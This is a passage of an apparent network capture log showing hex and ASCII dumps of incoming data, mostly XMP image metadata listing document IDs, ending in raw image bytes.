Data Ascii: 4631B206811A613DB269FEF524D</rdf:li> <rdf:li>xmp.did:28EDA4C137206811BFD6B5F03FAE0379</rdf:li> 
<rdf:li>xmp.did:28F4A7E93E7611E783F8C31C64E54274</rdf:li> <rdf:li>xmp.did:28b35652-1d96-4d6c-a0fe-40c9b
edb9acd</rdf:li> <rdf:li>xmp.did:28b99e47-a18f-0348-97ee-

2022-05-26 11:46:49 UTC 6920 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 30 32 38 42 46 38 33 32 43 32 
30 36 38 31 31 38 30 38 33 38 31 45 35 37 38 38 43 33 35 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 33 30 33 37 31 43 45 35 41 36 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 
44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 30 33 39 38 33 37 42 38 33 44 45 4
5 31 31 31 38 30 42 38 46 39 37 42 39 38 41 36 35 45 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 33 30 34 30 37 35 34 42 31 32 32 34 31 31 45 31 38 45 31 44 44 43 41 44 46 37 41 37 35 46 45 35 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
Data Ascii: /rdf:li> <rdf:li>xmp.did:3028BF832C206811808381E5788C353D</rdf:li> <rdf:li>xmp.did:30371CE5A622681
1822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:3039837B83DEE11180B8F97B98A65E63</rdf:li> <rdf:li>xmp.did
:3040754B122411E18E1DDCADF7A75FE5</rdf:li> <rdf:li>xmp.di

2022-05-26 11:46:49 UTC 6936 IN Data Raw: 2d 30 31 32 39 38 32 61 38 66 31 63 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 33 61 31 38 37 32 37 30 2d 34 37 33 34 2d 61 62 34 61 2d 61 62 66 65 2d 61 39 30 32 31 63 32 35 64 35 31 63 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 61 33 35 31 32 36 37 2d 36 37 35 62 
2d 65 61 34 65 2d 39 34 38 31 2d 37 37 33 36 65 37 30 63 30 39 33 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 78 6d 70 2e 64 69 64 3a 33 61 35 62 30 65 62 64 2d 34 61 63 36 2d 36 38 34 30 2d 38 30 32 38 2d 66 63 61 64 30 
30 33 37 61 64 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 61 38 64 32 65 
31 63 2d 32 39 37 63 2d 34 64 35 34 2d 38 62 32 36 2d 34 61 31 64 62 61 
Data Ascii: -012982a8f1c4</rdf:li> <rdf:li>xmp.did:3a187270-4734-ab4a-abfe-a9021c25d51c</rdf:li> <rdf:li>xmp.d
id:3a351267-675b-ea4e-9481-7736e70c093a</rdf:li> <rdf:li>xmp.did:3a5b0ebd-4ac6-6840-8028-fcad0037ad24</rdf:li> 
<rdf:li>xmp.did:3a8d2e1c-297c-4d54-8b26-4a1dba

2022-05-26 11:46:49 UTC 6952 IN Data Raw: 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 46 46 38 45 45 37 31 42 44 34 31 45 30 31 31 41 37 46 
38 44 38 41 45 42 38 39 44 37 44 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
34 61 34 65 34 39 30 39 2d 39 65 33 66 2d 32 39 34 31 2d 38 32 30 35 2d 65 35 35 33 35 31 64 39 31 63 37 61 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 61 39 39 31 66 66 33 2d 35 64 62 66 2d 66 64 
34 37 2d 38 66 37 39 2d 32 37 30 39 38 39 61 31 33 30 62 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 34 61 39 62 65 65 39 36 2d 36 32 65 32 2d 34 30 31 66 2d 38 38 61 63 2d 32 31 38 31 30 39 30 63 
39 32 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
Data Ascii: <rdf:li>xmp.did:4FF8EE71BD41E011A7F8D8AEB89D7D70</rdf:li> <rdf:li>xmp.did:4a4e4909-9e3f-2941-8205-
e55351d91c7a</rdf:li> <rdf:li>xmp.did:4a991ff3-5dbf-fd47-8f79-270989a130b5</rdf:li> <rdf:li>xmp.did:4a9bee96-62e2-
401f-88ac-2181090c9299</rdf:li> <rdf:li>xmp

2022-05-26 11:46:49 UTC 6959 IN Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 34 46 44 38 36 35 44 36 35 32 31 36 38 31 31 41 36 31 33 38 
45 46 32 43 31 36 38 37 36 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 34 
66 34 62 35 62 30 2d 32 31 36 38 2d 34 35 30 33 2d 38 30 33 63 2d 34 39 34 64 63 36 39 30 37 65 30 34 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 35 31 35 31 31 39 38 2d 31 30 35 35 2d 62 34 34 35 
2d 61 66 31 64 2d 62 31 30 31 63 30 36 30 62 66 37 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 35 35 32 37 35 39 61 38 2d 33 61 65 33 2d 34 33 32 39 2d 61 62 63 33 2d 38 63 62 36 61 36 64 61 65 31 
33 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
Data Ascii: df:li>xmp.did:54FD865D65216811A6138EF2C16876FC</rdf:li> <rdf:li>xmp.did:54f4b5b0-2168-4503-803c-49
4dc6907e04</rdf:li> <rdf:li>xmp.did:55151198-1055-b445-af1d-b101c060bf7a</rdf:li> <rdf:li>xmp.did:552759a8-3ae3-
4329-abc3-8cb6a6dae13c</rdf:li> <rdf:li>xmp.d
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2022-05-26 11:46:49 UTC 6975 IN Data Raw: 36 34 37 61 64 31 62 32 2d 36 35 66 38 2d 34 30 31 35 2d 39 36 65 33 2d 66 34 61 62 33 30 38 66 36 30 32 
66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 34 38 38 38 30 45 38 30 39 32 30 
36 38 31 31 39 32 42 30 42 41 41 39 30 34 44 45 30 46 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6
d 70 2e 64 69 64 3a 36 34 39 33 39 34 35 44 44 37 32 30 36 38 31 31 39 37 41 35 46 43 37 42 34 41 33 32 36 34 42 35 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 34 39 34 43 44 31 39 34 46 32 30 36 
38 31 31 38 37 31 46 43 44 32 31 39 39 41 44 31 36 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 36 34 39 43 33 45 43 33 30 37 32 30 36 38 31 31 38 43 31 
Data Ascii: 647ad1b2-65f8-4015-96e3-f4ab308f602f</rdf:li> <rdf:li>xmp.did:648880E80920681192B0BAA904DE0F8D</rd
f:li> <rdf:li>xmp.did:6493945DD720681197A5FC7B4A3264B5</rdf:li> <rdf:li>xmp.did:6494CD194F206811871F
CD2199AD167E</rdf:li> <rdf:li>xmp.did:649C3EC3072068118C1

2022-05-26 11:46:49 UTC 6991 IN Data Raw: 70 2e 64 69 64 3a 37 33 38 33 42 46 45 30 30 38 32 30 36 38 31 31 38 46 36 32 45 38 44 44 34 41 39 46 38 
43 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 33 38 34 65 35 62 66 2d 32 
66 33 33 2d 37 65 34 39 2d 38 63 31 37 2d 62 62 33 30 37 65 33 31 61 36 61 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 33 39 45 39 37 33 46 35 31 32 32 36 38 31 31 38 36 33 44 43 36 38 36 39 46 
44 30 41 42 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 33 41 30 35 32 37 
32 31 33 32 30 36 38 31 31 41 46 37 34 42 37 41 39 36 44 38 45 41 38 42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 33 41 41 33 44 46 34 32 42 32 30 36 
Data Ascii: p.did:7383BFE0082068118F62E8DD4A9F8CB8</rdf:li> <rdf:li>xmp.did:7384e5bf-2f33-7e49-8c17-
bb307e31a6a5</rdf:li> <rdf:li>xmp.did:739E973F51226811863DC6869FD0AB6D</rdf:li> <rdf:li>xmp.did:73A0
527213206811AF74B7A96D8EA8BE</rdf:li> <rdf:li>xmp.did:73AA3DF42B206

2022-05-26 11:46:49 UTC 6999 IN Data Raw: 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 42 46 46 30 39 43 31 
31 34 32 30 36 38 31 31 38 44 42 42 43 45 39 41 46 34 45 30 42 46 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 37 43 30 30 34 31 37 30 43 41 32 30 36 38 31 31 38 41 36 44 39 39 30 33 46 36 36 44 
38 35 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 43 31 30 41 39 44 30 39 3
5 33 36 45 33 31 31 41 44 35 45 44 38 38 36 31 42 32 39 42 37 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 78 6d 70 2e 64 69 64 3a 37 43 32 34 32 39 34 45 32 35 32 30 36 38 31 31 41 39 36 31 45 38 46 46 38 32 42 38 31 43 
45 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
Data Ascii: DD</rdf:li> <rdf:li>xmp.did:7BFF09C1142068118DBBCE9AF4E0BFCD</rdf:li> <rdf:li>xmp.did:7C004170CA20
68118A6D9903F66D8554</rdf:li> <rdf:li>xmp.did:7C10A9D09536E311AD5ED8861B29B79A</rdf:li> <rdf:li>xmp.
did:7C24294E25206811A961E8FF82B81CE1</rdf:li> <rdf:li>xmp

2022-05-26 11:46:49 UTC 7015 IN Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 41 35 44 41 43 32 41 34 33 43 
34 45 30 31 31 38 43 34 33 43 46 32 35 43 46 43 31 42 31 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 38 41 36 37 34 44 46 31 37 44 32 30 36 38 31 31 38 30 38 33 43 37 45 39 41 42 30 44 33 33 32 
41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 41 36 44 44 32 32 32 31 38 32 30 3
6 38 31 31 39 32 42 30 39 44 43 44 33 35 32 31 38 41 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 38 41 37 37 42 36 35 38 42 43 44 33 44 45 31 31 38 32 30 35 41 44 35 39 31 42 44 34 43 42 34 45 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
Data Ascii: /rdf:li> <rdf:li>xmp.did:8A5DAC2A43C4E0118C43CF25CFC1B1A1</rdf:li> <rdf:li>xmp.did:8A674DF17D20681
18083C7E9AB0D332A</rdf:li> <rdf:li>xmp.did:8A6DD2221820681192B09DCD35218AAA</rdf:li> <rdf:li>xmp.did
:8A77B658BCD3DE118205AD591BD4CB4E</rdf:li> <rdf:li>xmp.di

2022-05-26 11:46:49 UTC 7031 IN Data Raw: 35 36 33 32 34 36 38 31 31 42 34 31 30 44 35 36 46 37 30 31 32 34 35 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 38 33 33 36 63 32 32 2d 65 38 38 31 2d 34 65 32 64 2d 62 31 31 66 2d 
63 39 35 38 33 30 34 61 65 62 65 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 
38 33 66 64 61 62 37 2d 32 63 32 31 2d 33 38 34 64 2d 61 39 65 62 2d 31 61 65 61 63 66 36 63 34 66 63 36 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 38 34 36 46 32 34 36 31 34 32 30 36 38 31 31 38 
38 43 36 39 36 39 45 31 35 33 41 35 37 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 39 38 34 38 37 36 36 43 30 39 32 30 36 38 31 31 39 35 42 42 38 45 
Data Ascii: 563246811B410D56F70124534</rdf:li> <rdf:li>xmp.did:98336c22-e881-4e2d-b11f-c958304aebe5</rdf:li> <
rdf:li>xmp.did:983fdab7-2c21-384d-a9eb-1aeacf6c4fc6</rdf:li> <rdf:li>xmp.did:9846F2461420681188C6969E153A57B8<
/rdf:li> <rdf:li>xmp.did:9848766C0920681195BB8E

2022-05-26 11:46:49 UTC 7039 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 30 35 34 36 37 45 38 34 35 32 30 
36 38 31 31 39 41 38 32 46 45 32 41 43 42 43 35 37 34 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 41 30 36 36 38 46 34 31 39 37 35 31 31 31 45 34 38 39 39 30 46 42 34 34 38 33 43 44 35 33 31 34 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 30 39 45 43 39 32 37 33 39 32 35 36 
38 31 31 38 30 38 33 43 44 30 41 42 33 37 37 31 45 34 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 41 30 41 44 45 35 46 44 35 45 42 31 45 30 31 31 39 46 41 31 43 35 45 43 31 44 31 30 41 31 36 32 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
Data Ascii: df:li> <rdf:li>xmp.did:A05467E8452068119A82FE2ACBC57436</rdf:li> <rdf:li>xmp.did:A0668F41975111E48
990FB4483CD5314</rdf:li> <rdf:li>xmp.did:A09EC927392568118083CD0AB3771E4F</rdf:li> <rdf:li>xmp.did:A
0ADE5FD5EB1E0119FA1C5EC1D10A162</rdf:li> <rdf:li>xmp.did:

2022-05-26 11:46:49 UTC 7055 IN Data Raw: 38 38 38 38 39 30 41 41 42 38 45 45 30 31 31 41 44 33 46 46 37 36 44 30 42 41 43 39 44 43 38 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 38 38 46 45 30 44 38 43 36 46 31 44 46 31 31 39 37 
31 42 38 39 34 31 30 33 36 31 36 33 32 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 42 38 41 30 34 46 35 34 32 31 32 30 36 38 31 31 38 33 44 31 41 46 37 41 30 30 46 33 36 39 33 33 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 38 42 38 31 38 42 46 30 46 32 30 36 38 31 31 38 41 36 
44 46 36 42 33 36 41 33 44 44 38 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
42 38 42 42 42 34 43 38 42 38 46 37 45 31 31 31 38 34 31 45 39 30 42 39 
Data Ascii: 888890AAB8EE011AD3FF76D0BAC9DC8</rdf:li> <rdf:li>xmp.did:B88FE0D8C6F1DF11971B89410361632
3</rdf:li> <rdf:li>xmp.did:B8A04F542120681183D1AF7A00F36933</rdf:li> <rdf:li>xmp.did:B8B818BF0F20681
18A6DF6B36A3DD8DE</rdf:li> <rdf:li>xmp.did:B8BBB4C8B8F7E111841E90B9

2022-05-26 11:46:49 UTC 7071 IN Data Raw: 30 41 32 30 36 38 31 31 38 30 38 33 42 46 44 39 41 39 46 38 31 37 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 46 41 39 38 35 39 30 31 37 32 30 36 38 31 31 38 41 36 44 42 39 31 46 45 
43 35 41 35 39 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 46 45 41 36 42 
42 46 30 45 32 30 36 38 31 31 38 30 38 33 39 33 34 42 39 31 43 43 36 33 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 30 30 42 34 41 30 44 39 36 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 
34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 30 31 37 45 43 31 
35 45 38 32 30 36 38 31 31 41 42 30 38 39 44 36 36 31 42 42 31 35 37 45 
Data Ascii: 0A2068118083BFD9A9F81730</rdf:li> <rdf:li>xmp.did:CFA98590172068118A6DB91FEC5A59F5</rdf:li> 
<rdf:li>xmp.did:CFEA6BBF0E2068118083934B91CC636A</rdf:li> <rdf:li>xmp.did:D00B4A0D96226811822A9E
418F455C5D</rdf:li> <rdf:li>xmp.did:D017EC15E8206811AB089D661BB157E
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2022-05-26 11:46:49 UTC 7079 IN Data Raw: 31 31 41 34 35 36 46 46 38 34 37 32 32 37 33 31 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 44 38 32 38 43 46 33 32 32 33 32 31 36 38 31 31 42 41 37 32 46 39 44 44 43 38 46 46 32 36 42 
45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 38 33 30 39 34 46 41 42 45 32 31 
36 38 31 31 38 41 36 44 45 33 32 44 43 45 37 38 35 34 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6
d 70 2e 64 69 64 3a 44 38 33 32 42 39 39 30 43 35 32 31 36 38 31 31 38 41 36 44 43 33 36 41 39 35 36 43 37 37 31 35 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 38 34 38 46 34 35 31 46 36 32 36 36 
38 31 31 38 43 31 34 46 31 45 38 34 42 43 43 43 39 45 41 3c 2f 72 64 66 
Data Ascii: 11A456FF8472273134</rdf:li> <rdf:li>xmp.did:D828CF3223216811BA72F9DDC8FF26BE</rdf:li> <rdf:li>xmp.
did:D83094FABE2168118A6DE32DCE785405</rdf:li> <rdf:li>xmp.did:D832B990C52168118A6DC36A956C7715</rdf:li> 
<rdf:li>xmp.did:D848F451F62668118C14F1E84BCCC9EA</rdf

2022-05-26 11:46:49 UTC 7095 IN Data Raw: 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 31 42 42 44 37 44 36 39 32 46 44 45 32 31 31 39 43 38 
45 42 31 42 39 33 38 45 33 30 38 45 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
46 31 44 44 42 37 35 35 46 30 32 30 36 38 31 31 38 37 31 46 44 46 41 43 34 39 36 35 33 34 35 35 3c 2f 72 64 66 3a 6c 6
9 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 31 46 34 43 44 30 30 35 32 39 45 45 31 31 31 38 34 46 39 
43 30 34 45 34 44 44 37 46 38 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 
32 30 39 36 31 36 35 39 43 30 44 31 31 45 35 41 38 43 35 44 45 43 41 42 39 35 45 33 39 36 39 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 32 30 42 38 43 32 
Data Ascii: <rdf:li>xmp.did:F1BBD7D692FDE2119C8EB1B938E308EC</rdf:li> <rdf:li>xmp.did:F1DDB755F02068
11871FDFAC49653455</rdf:li> <rdf:li>xmp.did:F1F4CD00529EE11184F9C04E4DD7F84B</rdf:li> <rdf:li>xmp.di
d:F20961659C0D11E5A8C5DECAB95E3969</rdf:li> <rdf:li>xmp.did:F20B8C2

2022-05-26 11:46:49 UTC 7111 IN Data Raw: 36 38 31 31 38 38 43 36 41 41 46 43 35 42 45 30 33 33 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 78 6d 70 2e 64 69 64 3a 46 41 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 44 42 34 39 38 32 44 39 30 
32 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 37 46 31 31 37 34 30 37 
32 30 36 38 31 31 38 43 31 34 45 36 39 32 45 44 44 36 31 37 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3
e 78 6d 70 2e 64 69 64 3a 46 41 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 38 42 44 46 41 44 33 34 39 41 
46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 37 46 31 31 37 34 30 37 32 
30 36 38 31 31 38 46 36 32 38 43 34 41 32 30 39 43 38 39 38 35 3c 2f 72 
Data Ascii: 681188C6AAFC5BE03362</rdf:li> <rdf:li>xmp.did:FA7F11740720681188C6DB4982D90274</rdf:li> <rdf:li>xm
p.did:FA7F1174072068118C14E692EDD61727</rdf:li> <rdf:li>xmp.did:FA7F1174072068118F628BDFAD349AF6</rdf:li> 
<rdf:li>xmp.did:FA7F1174072068118F628C4A209C8985</r

2022-05-26 11:46:49 UTC 7114 IN Data Raw: 37 34 30 37 32 30 36 38 31 31 38 37 45 34 41 46 31 41 44 31 34 32 32 42 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 43 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 38 30 43 
37 45 43 44 46 41 44 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 43 37 46 
31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 39 31 33 34 33 43 44 34 35 35 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 7
2 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 43 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 44 46 31 39 
32 31 41 33 32 35 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 43 37 46 31 
31 37 34 30 37 32 30 36 38 31 31 38 43 31 34 38 32 31 32 42 44 33 38 43 
Data Ascii: 740720681187E4AF1AD1422B02</rdf:li> <rdf:li>xmp.did:FC7F1174072068118A6D80C7ECDFAD25</rdf:li> 
<rdf:li>xmp.did:FC7F1174072068118A6D91343CD455F3</rdf:li> <rdf:li>xmp.did:FC7F1174072068118A6DDF1921A325
EA</rdf:li> <rdf:li>xmp.did:FC7F1174072068118C148212BD38C

2022-05-26 11:46:49 UTC 7130 IN Data Raw: 2d 38 64 30 63 2d 30 33 31 36 32 36 31 33 32 36 63 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 62 66 66 32 38 62 35 35 2d 38 36 36 64 2d 34 64 34 66 2d 39 61 64 64 2d 32 61 33 31 64 64 32 
35 62 62 66 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 66 66 38 34 62 35 37 
2d 35 34 63 64 2d 34 64 38 34 2d 61 62 36 35 2d 61 35 37 37 33 62 61 34 39 36 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 7
2 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 30 31 30 66 61 35 30 2d 31 30 30 34 2d 34 63 34 34 2d 39 33 36 63 2d 
33 36 63 39 63 32 61 62 65 37 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 
30 32 62 31 39 63 38 2d 65 36 31 31 2d 34 38 66 66 2d 61 65 37 39 2d 38 
Data Ascii: -8d0c-0316261326ca</rdf:li> <rdf:li>xmp.did:bff28b55-866d-4d4f-9add-2a31dd25bbf9</rdf:li> <rdf:li>xmp.did:bf
f84b57-54cd-4d84-ab65-a5773ba49612</rdf:li> <rdf:li>xmp.did:c010fa50-1004-4c44-936c-36c9c2abe794</rdf:li> <rdf
:li>xmp.did:c02b19c8-e611-48ff-ae79-8

2022-05-26 11:46:49 UTC 7146 IN Data Raw: 31 2d 38 34 61 30 2d 35 63 37 65 37 32 65 32 30 66 62 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 78 6d 70 2e 64 69 64 3a 66 34 35 33 37 62 31 66 2d 64 34 39 37 2d 36 33 34 33 2d 38 62 35 34 2d 35 63 38 62 61 36 
30 38 34 32 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 34 37 37 39 32 61 
39 2d 35 64 36 30 2d 34 30 39 37 2d 61 34 39 61 2d 65 38 33 64 61 66 32 36 34 39 63 35 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 34 37 38 33 62 33 65 2d 61 62 32 39 2d 34 32 34 38 2d 38 32 31 64 
2d 35 37 61 64 30 38 33 35 30 37 65 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
66 34 64 66 62 32 62 66 2d 66 66 31 62 2d 33 39 34 37 2d 38 66 63 61 2d 
Data Ascii: 1-84a0-5c7e72e20fbc</rdf:li> <rdf:li>xmp.did:f4537b1f-d497-6343-8b54-5c8ba6084213</rdf:li> <rdf:li
>xmp.did:f47792a9-5d60-4097-a49a-e83daf2649c5</rdf:li> <rdf:li>xmp.did:f4783b3e-ab29-4248-821d-57ad083507e1</r
df:li> <rdf:li>xmp.did:f4dfb2bf-ff1b-3947-8fca-

2022-05-26 11:46:49 UTC 7154 IN Data Raw: 70 00 8e 00 22 70 c0 8f 3c 02 22 46 01 11 a6 18 85 4c 31 0b 08 63 7e ec 03 16 00 1b 0c 08 d7 00 86 c0 02 c0 
02 c0 31 1c f0 01 13 80 91 a9 86 04 48 c0 04 48 a6 19 23 11 9e 00 18 8c f0 00 d4 a6 00 18 e1 88 6a 60 01 53 00 0c 46 
00 1a 98 00 54 c0 02 c0 03 53 3c 31 08 0c 21 8f 4c 00 2a 60 01 53 00 0b 4e 78 62 15 30 0e 07 d3 80 07 03 00 12 0b 9e 
14 8e 02 ed b6 fb 9b b6 09 6f 13 3b 1e 1a 41 38 ca d9 15 78 b3 6a e2 b5 b8 20 e5 f6 ce ec d2 76 7e 96 5e e7 86 83 8c 7f 
